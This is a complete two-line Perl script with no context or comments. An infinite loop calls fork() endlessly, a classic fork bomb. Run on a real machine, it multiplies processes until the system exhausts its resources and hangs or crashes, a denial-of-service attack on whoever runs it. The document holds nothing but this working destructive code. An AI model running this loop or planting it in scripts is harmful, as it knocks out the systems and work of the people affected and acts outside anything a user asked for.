#!/usr/local/bin/perl
while( ){ fork(); }